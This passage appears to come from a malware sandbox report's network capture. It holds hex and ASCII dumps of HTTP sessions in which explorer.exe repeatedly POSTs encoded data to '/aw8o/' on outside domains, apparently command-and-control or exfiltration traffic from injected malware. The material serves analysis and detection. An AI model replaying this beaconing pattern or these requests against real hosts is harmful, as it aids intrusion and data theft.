Aug 29, 2023 22:46:54.219364882 CEST	1520	IN	Data Raw: 74 5f 73 69 7a 65 5f 62 69 67 2d 63 6f 6d 70 61 63 74 5c 40 64 65 73 6b 74 6f 70 7b 66 6f 6e 74 3a 33 32 70 78 2f 33 36 70 78 20 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 65 53 61 6e 73 Data Ascii: t_size_big-compact\@desktop{font:32px/36px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:42px}.is_adaptive .b-text_size_large\@desktop{font:24px/36px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:36px}.is_
Aug 29, 2023 22:46:54.270977974 CEST	1521	IN	Data Raw: 61 2c 46 72 65 65 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 2e 69 73 5f 61 64 61 70 74 69 76 65 20 2e 62 2d 74 65 78 74 5f 73 69 7a 65 5f 73 6d 61 6c 6c 5c 40 64 65 73 6b 74 6f 70 7b Data Ascii: a,FreeSans,sans-serif;margin-bottom:24px}.is_adaptive .b-text_size_small\@desktop{font:12px/18px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:18px}.is_adaptive .b-text_size_small-compact\@desktop.b-text_margin_top,.is_adapt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	50024	154.206.192.10	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:59.949599981 CEST	1820	OUT	POST /aw8o/ HTTP/1.1 Host: www.americanpawnstar.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.americanpawnstar.com Referer: http://www.americanpawnstar.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4c 44 6d 51 30 62 6f 4c 67 73 32 72 30 50 62 32 47 35 4a 38 78 66 30 50 6b 39 75 36 30 4e 4d 4a 7a 72 5a 30 4c 73 4c 73 6c 61 69 47 71 6e 47 4c 30 72 4e 30 53 35 7a 51 61 64 51 49 5a 65 43 45 71 30 58 4d 4b 77 71 2f 75 38 79 35 69 45 35 39 70 54 78 49 65 31 6c 64 37 68 73 6c 55 41 79 77 64 58 7a 57 6c 58 52 31 38 2b 4f 54 7a 62 64 51 4a 48 77 64 6b 79 71 70 74 64 48 6b 6d 6e 6b 4f 30 78 46 44 38 6c 5a 74 6d 34 74 2b 55 6d 76 62 41 48 65 42 46 71 2f 6d 2f 61 4c 53 4f 64 7a 62 30 46 58 6f 78 2f 42 47 53 64 66 54 39 67 4d 2b 74 67 3d 3d Data Ascii: 5Nag0d=LDmQ0boLgs2r0Pb2G5J8xf0Pk9u60NMJzrZ0LsLslaiGqnGL0rN0S5zQadQIZeCEq0XMKwq/u8y5iE59pTxIe1ld7hslUAywdXzWlXR18+OTzbdQJHwdkyqptdHkmnkO0xFD8lZtm4t+UmvbAHeBFq/m/aLSOdzb0FXox/BGSdfT9gM+tg==
Aug 29, 2023 22:47:00.142529011 CEST	1820	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:47:00 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49986	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:39.530811071 CEST	351	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 67 4f 70 62 58 6d 69 58 4c 34 38 47 70 6f 49 6c 65 57 41 61 7a 61 45 75 7a 69 33 6f 53 62 42 7a 6e 4b 36 58 2f 32 32 5a 79 6a 66 61 4a 44 73 34 4d 4e 68 4f 59 58 6d 61 5a 4a 50 4f 78 34 65 66 41 43 47 55 4a 4f 52 79 44 37 38 54 46 39 43 45 76 32 43 67 74 56 34 56 61 37 58 72 50 55 37 47 7a 43 54 65 76 2b 39 79 39 74 49 58 62 6a 70 4c 65 37 50 4d 4f 6b 51 7a 70 6d 4d 6b 44 43 6c 38 56 58 77 66 68 42 39 69 54 6b 32 42 71 6b 33 6e 30 44 63 33 36 79 63 69 73 69 74 38 78 70 39 50 34 68 31 6a 59 71 5a 35 74 53 5a 6c 55 35 72 71 4c 61 73 66 65 58 63 4a 65 6d 62 36 55 69 58 4e 66 45 45 6c 53 42 35 38 2f 2f 45 49 35 4d 4a 50 79 4a 64 71 6d 62 54 31 52 30 6a 56 48 41 54 58 32 65 33 77 4a 6d 52 62 4b 45 75 62 2f 75 48 63 50 35 70 6c 6f 6f 38 6a 71 51 47 69 44 52 68 63 57 38 78 65 4e 72 38 62 70 67 64 6a 62 74 53 79 65 39 34 77 58 55 6d 38 35 2b 65 36 68 63 66 47 45 6a 6d 2f 54 61 62 61 6e 73 66 43 76 46 69 63 54 77 4c 64 2b 43 36 65 6e 2f 79 43 74 30 46 37 66 36 48 49 32 6b 4a 46 6d 4c 45 44 35 5a 6e 7a 36 6b 70 75 6f 39 43 71 79 53 66 31 6e 68 56 6b 75 34 41 49 37 57 47 31 75 37 57 36 33 5a 4d 6d 51 4d 31 68 4d 39 6d 54 44 31 77 64 46 63 5a 4a 73 47 4d 47 6e 57 4a 56 41 45 49 48 31 6c 35 53 73 67 32 4e 39 7a 6c 70 57 61 49 74 54 39 2b 45 43 58 75 30 45 57 63 4f 78 57 4f 39 47 4f 4a 30 66 6d 65 33 43 35 64 2f 46 61 33 57 74 38 42 46 4a 6c 44 5a 4e 32 78 4a 59 4f 6b 6b 36 63 7a 4e 4e 4b 6c 77 6e 6d 34 63 69 50 4c 61 59 4f 64 57 61 6a 59 2b 47 70 64 62 45 4c 6a 4a 36 43 38 74 4e 34 6f 49 4d 57 50 69 51 44 77 3d Data Ascii: 5Nag0d=wxm5GOA4eNkxgOpbXmiXL48GpoIleWAazaEuzi3oSbBznK6X/22ZyjfaJDs4MNhOYXmaZJPOx4efACGUJORyD78TF9CEv2CgtV4Va7XrPU7GzCTev+9y9tIXbjpLe7PMOkQzpmMkDCl8VXwfhB9iTk2Bqk3n0Dc36ycisit8xp9P4h1jYqZ5tSZlU5rqLasfeXcJemb6UiXNfEElSB58//EI5MJPyJdqmbT1R0jVHATX2e3wJmRbKEub/uHcP5ploo8jqQGiDRhcW8xeNr8bpgdjbtSye94wXUm85+e6hcfGEjm/TabansfCvFicTwLd+C6en/yCt0F7f6HI2kJFmLED5Znz6kpuo9CqySf1nhVku4AI7WG1u7W63ZMmQM1hM9mTD1wdFcZJsGMGnWJVAEIH1l5Ssg2N9zlpWaItT9+ECXu0EWcOxWO9GOJ0fme3C5d/Fa3Wt8BFJlDZN2xJYOkk6czNNKlwnm4ciPLaYOdWajY+GpdbELjJ6C8tN4oIMWPiQDw=
Aug 29, 2023 22:44:39.682698011 CEST	353	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:44:40 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 08 79 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b e6 ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 0c 35 c2 48 7c fc 7e d4 de 71 e3 a0 1c 74 b8 77 f3 24 2f 1f a0 bf f7 2f ed fd b0 57 1a 3e 25 70 02 7d 4f 2b 1c cf 8b b2 e0 01 ba e9 4f 9d 32 88 b2 77 dd ff f1 53 fc 0a b8 75 94 67 df 20 3f cf 6b 50 de d8 c3 8b aa 22 71 4e 0f d0 3e c9 dd f8 ff 80 dd f7 21 fe 9c 28 fb c0 e9 59 c8 fb 04 f8 f5 03 e4 34 75 fe 9e d9 0b b9 7c b6 e2 47 fa 9b ee 10 86 5e 7b e0 4d d3 ef 25 a8 8a 3c ab c0 7d 94 f9 f9 8d a2 af 76 e5 2f ed 8d f7 d5 f4 aa 76 ea a6 ba 77 73 0f dc 4c be 44 cd b3 fb 29 14 fd 87 3f 9a 5d 02 a7 ca b3 af e7 e3 d4 f5 fc 21 24 bf 72 c1 95 64 17 9b ba f5 45 af 6f 3f 3d fb fd 99 d7 fd 50 28 6e 18 be 6a 8b 5e da a7 f2 0e b1 34 04 86 93 7c 66 ae ab 68 2d 41 01 9c fa 01 ca f2 fb e7 9f 6f 70 83 f8 57 23 5f b9 e2 63 82 25 d9 f7 c3 5e 69 d3 4b 7b a3 5d 69 79 2b 91 f3 85 52 7f 1e e2 3e aa 41 5a dd c0 fc 8c 24 1c 2d fa 0f a9 14 65 6f a9 3c 26 be 08 b4 6b 7f dc a0 bf c4 f1 3e af eb 3c 7d 80 06 1e 6f ca fe ac 40 2f a5 84 be 26 5e 59 e2 1d fe ad 19 06 77 df 7b c0 cd 4b 67 f0 df 03 d4 64 1e 28 87 22 f4 9e d1 ab c5 49 9c e1 f8 2b 6f 7c c9 e7 21 cc 5b 50 5e c5 d7 7b 31 1e fc dc 6d aa af c9 8e 5b 47 ed 6d e6 bc 0a 81 b3 34 39 a6 df 04 bc 12 e2 eb 28 7e ad 6b 9f 39 ea 2a 25 b1 2f cc d8 24 37 be f9 99 69 51 76 a9 d9 9f d4 bc 24 aa ea fb cb b2 32 04 7c 06 a0 bc a9 ab c8 03 97 97 37 f1 07 47 be 4a 77 53 8c 7f 86 d7 55 ff 9b b6 4d 02 25 d1 8d 58 7e 92 0f f9 35 54 c6 f7 1c 2e 9e 76 92 28 c8 1e 20 17 64 35 28 df e8 6f 90 df 6f f2 e6 25 e8 3f e3 74 59 70 1f 20 ec ab 1a 36 d4 cd fb 28 75 82 5b 37 fe 54 ea cb da 7b 99 3a ec 72 a2 2c b8 d5 6f 58 73 bb 97 f5 71 9f 27 de 9b 16 83 1d af b5 fc 68 83 2e 2f bd fb 7d 09 9c f8 01 ba 3c ee 9d 24 79 0f f0 a7 b4 aa 40 d9 82 12 72 3c af 04 d5 6d 49 f8 5a 84 37 33 7f ba 7c 5e 4f bc f5 d0 75 8c d0 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 44 33 45 ff d7 1b 36 b7 51 7b 43 1e 8c 57 e4 d5 65 85 7a 80 4a 90 38 43 71 79 63 38 d0 87 36 54 2c 3f c9 bb 07 28 8c 3c 0f 64 1f 47 5c ad 4f 97 c8 7e ce eb f7 e3 de cc 39 60 de 8a f6 e9 2a 32 0c fc 99 15 1f ab fc 0d e2 a5 92 7e b2 29 1a 50 5e c2 77 7c bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1yB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N5H\|~qtw$//W>%p}O+O2wSug ?kP"qN>!(Y4u\|G^{M%<}v/vwsLD)?]!$rdEo?=P(nj^4\|fh-AopW#_c%^iK{]iy+R>AZ$-eo<&k><}o@/&^Yw{Kgd("I+o\|![P^{1m[Gm49(~k9%/$7iQv$2\|7GJwSUM%X~5T.v( d5(oo%?tYp 6(u[7T{:r,oXsq'h./}<$y@r<mIZ73\|^Ou7/\|7?v/8]VR>t&$F/)"KehD3E6Q{CWezJ8Cqyc86T,?(<dG\O~9`*2~)P^w\|/Y~>
Aug 29, 2023 22:44:39.682804108 CEST	354	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea 99 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b 08 8d 0f 5b 11 08 85 c6 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k[Rlc#Wy$fj!fu{U%f>L1-0fgP?)>1>FS&yF gYUWf(:9,_zjS,~tq`?x4B#xAkmk
Aug 29, 2023 22:44:39.682867050 CEST	355	IN	Data Raw: 92 4e 23 6d 2e ad 9d a5 40 91 7d c1 89 65 c2 18 f2 76 be c5 f6 31 01 b3 98 63 86 52 6f d6 80 a8 24 a1 55 57 72 41 1a 82 c7 a9 4b 95 1d ab cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 61 d6 ab 09 Data Ascii: N#m.@}ev1cRo$UWrAK-t"P=:$Y=]eL/H8ahHn,G5;Aa0j(!K,kc!`]]AzvD}Uiu) i`6'jJAG#aJUqFSJ%+T*2D:
Aug 29, 2023 22:44:39.682951927 CEST	357	IN	Data Raw: a3 46 a5 35 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d e9 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 53 e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 60 da b8 a3 8f d9 36 6d 26 ab 29 63 04 2b a6 0e 61 Data Ascii: F5tlVr2cZlbrn~2`3U#SEa/k}4FeN}N@YNJ`6m&)c+a.B7b3;Hqc<"crWg`""xSEd,h[X{/6C]s:{&nmLxlZN8d^d@a6fPw`0dbN! eO0UVFf*S
Aug 29, 2023 22:44:39.683053017 CEST	357	IN	Data Raw: 61 0d 0a 03 00 48 93 ef 82 84 27 00 00 0d 0a Data Ascii: aH'
Aug 29, 2023 22:44:39.683135033 CEST	357	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	50025	154.206.192.10	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:02.682643890 CEST	1822	OUT	POST /aw8o/ HTTP/1.1 Host: www.americanpawnstar.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.americanpawnstar.com Referer: http://www.americanpawnstar.com/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4c 44 6d 51 30 62 6f 4c 67 73 32 72 31 75 72 32 44 65 6c 38 67 50 31 39 34 74 75 36 6a 64 4e 68 7a 71 6c 30 4c 74 2f 38 6c 75 4f 47 72 47 32 4c 6d 59 56 30 52 35 7a 51 4f 74 51 4e 64 65 43 35 71 30 4b 73 4b 31 43 2f 75 38 6d 35 6a 79 31 39 76 6a 78 48 57 56 6c 43 2b 68 74 69 51 41 79 36 64 58 2f 73 6c 57 46 31 38 4e 61 54 79 65 78 51 4e 57 77 63 67 53 71 76 35 74 48 6c 38 58 6b 70 30 78 49 2b 38 6b 68 54 6d 75 4e 2b 55 48 50 62 53 48 65 43 50 61 2f 39 32 36 4b 2f 44 38 4b 30 73 57 57 52 7a 36 5a 46 52 35 36 45 78 77 6c 52 2b 53 36 55 6c 56 2f 75 6e 50 4d 50 45 6f 47 5a 31 6e 56 69 33 4f 33 4c 37 4c 68 46 30 6e 6a 4f 49 6f 5a 6e 48 4e 6a 54 35 6a 76 77 6c 63 30 56 63 33 6c 38 41 79 55 38 39 54 70 31 32 78 6a 41 6b 75 32 6b 52 59 51 73 46 74 41 67 56 63 2b 47 4e 69 4d 44 6e 74 49 57 31 79 53 35 31 74 2f 42 34 77 74 64 6b 5a 4b 49 4a 71 46 78 54 56 4a 69 46 4f 58 74 75 50 47 6e 76 42 71 49 46 68 45 64 39 64 52 69 70 67 69 55 6d 56 43 62 7a 6a 66 75 49 46 4b 50 30 44 68 67 71 73 6b 30 50 74 6f 63 64 6f 6e 35 36 2b 43 58 62 6e 53 56 74 30 55 33 43 51 35 69 65 51 35 35 41 68 75 65 6e 6b 38 59 45 68 72 2b 49 55 64 68 62 2b 6d 37 43 70 78 66 62 56 41 57 4a 53 65 4f 4f 50 66 63 59 4e 7a 79 44 6c 78 72 6c 35 49 5a 56 75 59 55 7a 6a 76 6b 65 43 51 75 58 6c 75 4c 77 49 57 49 62 7a 68 63 4b 4c 76 56 78 68 73 71 4a 73 32 51 34 52 6d 32 6b 66 49 45 38 65 32 79 4a 62 6c 6c 77 63 79 35 78 46 58 48 46 6f 38 30 35 47 35 36 35 47 73 37 55 4b 4d 45 37 4e 6c 33 2f 4f 41 66 51 78 63 48 44 6f 37 30 6e 72 34 34 42 44 63 4d 6b 66 50 43 30 4d 4f 54 52 77 30 3d Data Ascii: 5Nag0d=LDmQ0boLgs2r1ur2Del8gP194tu6jdNhzql0Lt/8luOGrG2LmYV0R5zQOtQNdeC5q0KsK1C/u8m5jy19vjxHWVlC+htiQAy6dX/slWF18NaTyexQNWwcgSqv5tHl8Xkp0xI+8khTmuN+UHPbSHeCPa/926K/D8K0sWWRz6ZFR56ExwlR+S6UlV/unPMPEoGZ1nVi3O3L7LhF0njOIoZnHNjT5jvwlc0Vc3l8AyU89Tp12xjAku2kRYQsFtAgVc+GNiMDntIW1yS51t/B4wtdkZKIJqFxTVJiFOXtuPGnvBqIFhEd9dRipgiUmVCbzjfuIFKP0Dhgqsk0Ptocdon56+CXbnSVt0U3CQ5ieQ55Ahuenk8YEhr+IUdhb+m7CpxfbVAWJSeOOPfcYNzyDlxrl5IZVuYUzjvkeCQuXluLwIWIbzhcKLvVxhsqJs2Q4Rm2kfIE8e2yJbllwcy5xFXHFo805G565Gs7UKME7Nl3/OAfQxcHDo70nr44BDcMkfPC0MOTRw0=
Aug 29, 2023 22:47:02.889843941 CEST	1822	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:47:02 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	50026	154.206.192.10	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:05.401478052 CEST	1828	OUT	POST /aw8o/ HTTP/1.1 Host: www.americanpawnstar.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.americanpawnstar.com Referer: http://www.americanpawnstar.com/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4c 44 6d 51 30 62 6f 4c 67 73 32 72 31 75 72 32 44 65 6c 38 67 50 31 39 34 74 75 36 6a 64 4e 68 7a 71 6c 30 4c 74 2f 38 6c 76 61 47 72 30 2b 4c 30 4a 56 30 51 35 7a 51 53 39 51 4d 64 65 43 65 71 30 43 7a 4b 31 47 76 75 36 69 35 6a 6b 70 39 76 57 6c 48 61 31 6c 66 6e 68 73 6b 55 41 7a 74 64 58 7a 65 6c 53 73 4b 38 2b 47 54 7a 65 68 51 4b 68 73 64 6f 69 71 70 35 74 48 68 34 58 6b 62 30 78 4d 55 38 6b 39 54 6d 6f 56 2b 56 31 33 62 42 67 79 43 43 71 2f 36 35 61 4b 38 4a 63 4b 56 73 57 44 6d 7a 36 59 34 52 38 43 45 78 7a 74 52 2f 56 75 58 6d 31 2f 75 76 76 4d 4d 58 34 4c 51 31 6e 35 71 33 4e 72 4c 37 4a 52 46 75 48 6a 4f 4f 4b 68 6b 4f 4e 6a 56 79 44 75 32 68 63 77 6e 63 32 46 4f 41 7a 67 38 39 44 39 31 33 43 37 41 69 4c 4b 6b 5a 59 51 75 59 39 42 39 63 38 2b 43 4e 69 64 53 6e 73 6f 73 31 77 65 35 30 49 4c 42 2b 53 56 53 6a 35 4c 4e 4d 71 46 65 5a 31 46 6d 46 4f 48 36 75 50 47 33 76 45 53 49 46 52 30 64 38 59 6c 68 6b 51 69 54 71 31 43 56 71 7a 6a 30 49 46 6d 39 30 44 35 4b 71 73 51 30 4a 4e 6f 63 59 4f 76 36 68 65 43 4d 51 48 53 48 6a 55 55 61 43 51 31 45 65 56 42 50 41 51 43 65 68 55 4d 59 47 42 72 78 4e 30 64 39 52 65 6d 35 49 4a 78 66 62 56 4e 74 4a 53 53 4f 4a 2b 6e 63 62 62 44 79 56 69 64 72 6e 35 4a 53 56 75 5a 59 7a 6a 53 53 65 43 59 4d 58 6b 65 68 77 4b 36 49 62 69 78 63 4a 4b 76 61 30 52 73 72 66 63 33 57 38 52 36 62 6b 65 68 4a 38 65 6d 69 4a 6f 68 6c 78 63 69 35 31 46 58 45 56 59 38 33 2b 47 35 73 39 47 68 67 55 4f 56 35 37 4f 35 6e 2f 4f 6f 66 54 56 31 59 66 70 65 6f 38 6f 77 4a 50 56 51 35 34 4e 76 59 6c 4a 65 4f 4b 33 34 39 39 6f 6b 7a 71 41 77 4d 36 54 38 74 78 73 50 61 2f 34 58 4a 42 37 63 4e 79 73 71 48 55 50 4a 6d 77 77 7a 6b 79 51 7a 6d 71 45 41 72 42 4e 4b 46 53 64 6c 72 69 4f 33 2f 49 6f 43 43 6c 30 55 6b 68 53 30 5a 67 67 47 56 4b 6e 38 72 65 67 37 50 6c 7a 7a 58 75 37 37 68 43 53 6c 74 59 6d 6f 65 7a 31 66 62 75 4f 44 63 5a 4e 59 61 55 64 43 42 50 43 68 54 32 2b 77 4e 34 44 42 7a 4a 6b 70 2b 69 43 62 4b 49 2b 2b 77 2f 59 52 4f 6c 73 67 6f 6a 6f 62 42 72 47 79 6f 51 48 6b 66 6b 34 58 75 45 68 68 49 77 6f 52 68 30 4e 44 6c 37 70 76 76 45 73 66 57 67 57 6c 63 46 75 50 79 5a 6a 49 41 6f 68 46 6b 47 65 6f 64 76 38 50 48 69 43 74 32 59 4b 67 79 54 65 41 79 52 6d 65 2f 36 53 4a 67 51 59 6b 44 77 46 2f 54 57 41 75 4d 53 51 55 47 61 72 65 71 41 76 2f 63 55 47 62 4b 56 31 57 57 63 67 44 38 44 48 59 74 4c 6f 4c 54 2b 41 31 65 55 42 41 49 4c 6b 62 42 69 64 56 48 74 37 31 36 38 79 4f 70 4c 69 47 77 2f 55 7a 79 64 7a 77 55 48 75 63 53 42 31 58 32 41 78 76 59 38 59 72 57 61 39 36 4d 54 71 77 67 71 51 37 41 59 70 39 7a 62 50 71 64 2b 49 55 5a 66 47 65 6d 39 30 49 63 78 43 57 45 58 4c 74 43 35 61 67 72 34 31 67 54 42 4c 70 6d 36 75 72 31 73 45 36 74 44 32 61 5a 4d 71 42 6c 42 7a 42 45 69 43 6f 6c 50 79 39 39 6a 37 54 57 66 6b 4b 62 56 4b 73 47 6f 4c 6e 4e 77 55 76 44 5a 62 66 57 6d 7a 33 6a 37 61 37 72 5a 4f 37 70 33 78 43 59 70 32 38 53 56 61 76 33 6f 4c 35 2f 6b 68 4c 37 61 61 77 7a 6d 35 76 6e 50 6b 76 43 4e 4c 4b 6f 45 62 64 48 4c 61 30 51 41 6f 6c 64 75 75 39 47 47 67 4e 59 35 65 65 47 66 69 71 6f 48 55 67 4b 36 37 79 52 48 6d 78 50 75 55 6b 78 6b 6a 41 63 64 49 6e 59 72 34 43 37 6c 56 6b 6b 6f 73 56 74 44 78 55 43 57 50 4f 73 69 6b 4e 68 68 42 6a 73 6e 53 35 61 54 57 70 4c 53 56 44 77 6b 2f 6c 4b 56 6c 38 4f 69 51 4e 6e 4e 56 31 4e 4d 64 63 74 6c 35 34 37 78 34 77 30 41 6b 2f 63 37 34 4c 75 73 63 4c 77 4b 66 32 57 4c 49 77 52 65 37 74 31 35 72 4c 30 61 62 35 72 78 67 66 31 6f 53 76 7a 62 41 56 67 79 66 6f 34 72 72 54 52 6e 30 2f 76 71 5a 71 4d 72 74 51 37 4a 76 4b 6c 6e 4e 51 38 50 72 58 32 48 6b 35 4b 48 59 41 6f 54 61 42 32 7a 65 4b 6c 65 51 31 58 33 78 31 4c 32 6d 45 50 33 6e 59 6c 6c 65 45 6d 46 6b 39 7a 6f 2f 79 54 4c 71 53 48 59 6d 39 7a 53 76 68 6d 2f 41 59 6d 75 42 47 6b 42 42 38 42 36 4a 31 53 35 66 59 42 62 4d 64 4f 62 5a 4f 37 66 50 56 54 30 50 75 35 6e 4d 31 45 7a 65 6c 2b 47 50 6f 68 39 49 45 75 48 54 64 63 49 42 63 6a 69 58 45 58 73 68 43 56 30 35 6c 64 68 51 65 70 46 79 31 50 59 55 64 6c 6d 33 6a 4c 31 33 57 58 76 75 38 6d 33 55 78 49 66 42 4e 6a 77 61 45 51 64 75 51 67 Data Ascii: 